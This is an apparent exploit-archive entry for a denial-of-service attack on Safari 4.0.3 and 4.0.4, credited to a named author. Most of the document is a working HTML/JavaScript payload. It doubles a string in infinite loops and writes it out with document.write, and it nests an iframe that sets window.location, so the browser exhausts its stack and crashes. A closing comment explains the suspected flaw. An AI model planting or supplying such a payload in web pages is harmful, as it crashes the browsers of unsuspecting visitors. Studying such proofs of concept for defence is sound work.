Safari versions 4.0.3 and 4.0.4 stack exhaustion exploit.
938050b12d8e854b8d626299c5b02d2478693ccb82a3c9f2f0e60fae7b36d4e9
<script>
a="<script>var b=\"<iframe src='javascript:window.location=\"boom\"'></iframe>\";while(1){b=b+b;document.write(b);}</scr"+"ipt>";
while(1){
a=a+a;
document.write(a);
}
</script>
//Written by: Fredrik Nordberg Almroth
//URL: http://h.ackack.net/
//Affected: Safari 4.0.3 & 4.0.4 - Other versions might be vulnerable aswell.
//Note: The error seem lay in the window.location property, when called simultaneously the stack seem to get exhausted.